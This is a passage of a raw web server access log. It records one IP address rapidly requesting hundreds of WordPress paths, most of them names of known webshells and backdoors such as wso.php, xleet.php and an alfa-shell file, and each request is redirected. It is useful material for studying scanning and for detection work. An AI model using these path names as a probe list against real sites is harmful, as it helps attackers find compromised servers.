795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:49 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:50 -0400] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:50 -0400] "GET /wp-content/themes/bltm/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:50 -0400] "GET /img/dot.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:51 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:51 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:51 -0400] "GET /wp-includes/js/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:52 -0400] "GET /role.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:52 -0400] "GET /wp-content/plugins/vbcxdsf/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:52 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:53 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:53 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:53 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:53 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:54 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:54 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:54 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:55 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:55 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:55 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:56 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:56 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:56 -0400] "GET /wp-includes/SimplePie/HdGGN/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:57 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:57 -0400] "GET /css/dist/block-directory/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:57 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:57 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:58 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:58 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:58 -0400] "GET /wp-content/plugins/ojyiyys/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:59 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:59 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:59 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:59 -0400] "GET /resize.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:00 -0400] "GET /wp-includes/css/loco.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:00 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:01 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:01 -0400] "GET /wp-content/uploads/suit5y.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:01 -0400] "GET /wp-content/plugins/qwfdsop/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:02 -0400] "GET /class-smtp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:03 -0400] "GET /class-snoopy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:03 -0400] "GET /class-wp-admin-bar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:04 -0400] "GET /class-wp-ajax-response.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:04 -0400] "GET /class-wp-error.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:04 -0400] "GET /default-constants.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:05 -0400] "GET /sell.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:05 -0400] "GET /sell.php8 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:06 -0400] "GET /style-engine.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:07 -0400] "GET /template-loader.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:07 -0400] "GET /wp-db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:08 -0400] "GET /wp-diff.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:08 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:08 -0400] "GET /wp-themes.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:09 -0400] "GET /wp-themes.php8 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:10 -0400] "GET /wp-update.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:10 -0400] "GET /comments.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:11 -0400] "GET /wp-includes/Text/Diff/Engine/Shell.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:11 -0400] "GET /wp-includes/Text/Diff/Engine/native.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:12 -0400] "GET /wp-includes/Text/Diff/Engine/string.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:12 -0400] "GET /wp-includes/Text/Diff/Engine/xdiff.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:12 -0400] "GET /wp-includes/Text/Diff/Renderer/inline.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:13 -0400] "GET /wp-includes/Text/Diff/Renderer.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:13 -0400] "GET /wp-rss.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:13 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:14 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:14 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:14 -0400] "GET /stats.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:15 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:15 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:16 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:16 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:16 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:16 -0400] "GET /wp-content/plugins/mqdlgzp/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:17 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:17 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:17 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:18 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:18 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:18 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:18 -0400] "GET /wp-includes/php-compat/wp/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:19 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:19 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:19 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:20 -0400] "GET /wp-content/plugins/myhbidf/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:20 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:20 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:21 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:21 -0400] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:21 -0400] "GET /modules/mod_webshell/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:22 -0400] "GET /wp-content/plugins/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:22 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:22 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:23 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:23 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:23 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:24 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:24 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:24 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:25 -0400] "GET /wp-includes/Cez57/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:25 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:26 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:26 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:26 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:26 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:27 -0400] "GET /wp-content/plugins/vslnxrk/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:27 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:27 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:28 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:28 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:29 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:29 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:29 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:30 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:30 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:30 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:31 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:31 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:31 -0400] "GET /wp-admin/js/wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:32 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:32 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:32 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:33 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:33 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:34 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:34 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:34 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:35 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:35 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:35 -0400] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:36 -0400] "GET /wp-content/plugins/about HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:36 -0400] "GET /.well-known/uploads HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:36 -0400] "GET /wp-content/plugins/vmgbzgi/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:37 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:37 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:37 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:38 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:38 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:38 -0400] "GET /wp-content/themes/9rafadt6/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:38 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:39 -0400] "GET /pdf.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:39 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:39 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:40 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:40 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:40 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:40 -0400] "GET /wp-includes/js/tinymce/wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:41 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:41 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:42 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:42 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:42 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:43 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:43 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:43 -0400] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:43 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:44 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:44 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:44 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:45 -0400] "GET /wp-includes/Cez57/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:45 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:46 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:46 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:46 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:47 -0400] "GET /.well-known/init HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:47 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:47 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:48 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:48 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:48 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:49 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:49 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:49 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:49 -0400] "GET /reset.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:50 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:50 -0400] "GET /wp-content/themes/7nd9yzxp/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:50 -0400] "GET /wp-content/plugins/dmozhzr/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:51 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:51 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:51 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:52 -0400] "GET /wp-content/plugins/dfgs/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:52 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:52 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:53 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:53 -0400] "GET /wp-content/plugins/cifkpgk/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:53 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:54 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:54 -0400] "GET /wp/wp-content/themes/w695elkq/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:54 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:55 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:55 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:55 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:56 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:56 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:56 -0400] "GET /wp-content/berlin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:57 -0400] "GET /plugins/broken-link-checker/core/utils/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:57 -0400] "GET /wp-content/plugins/qdcitph/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:57 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:58 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:58 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:58 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:58 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:59 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:59 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:55:59 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:00 -0400] "GET /wp-admin/js/widgets/xleet.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:00 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:00 -0400] "GET /wp-content/plugins/contact-form-7-to-database-extension/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:01 -0400] "GET /wp-content/plugins/erfdsxx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:01 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:02 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:02 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:02 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:03 -0400] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:03 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:03 -0400] "GET /wordpress/wp-content/plugins/pkghsb/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:04 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:04 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:04 -0400] "GET /wp-includes/SimplePie/HdGGN/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:05 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:05 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:06 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - 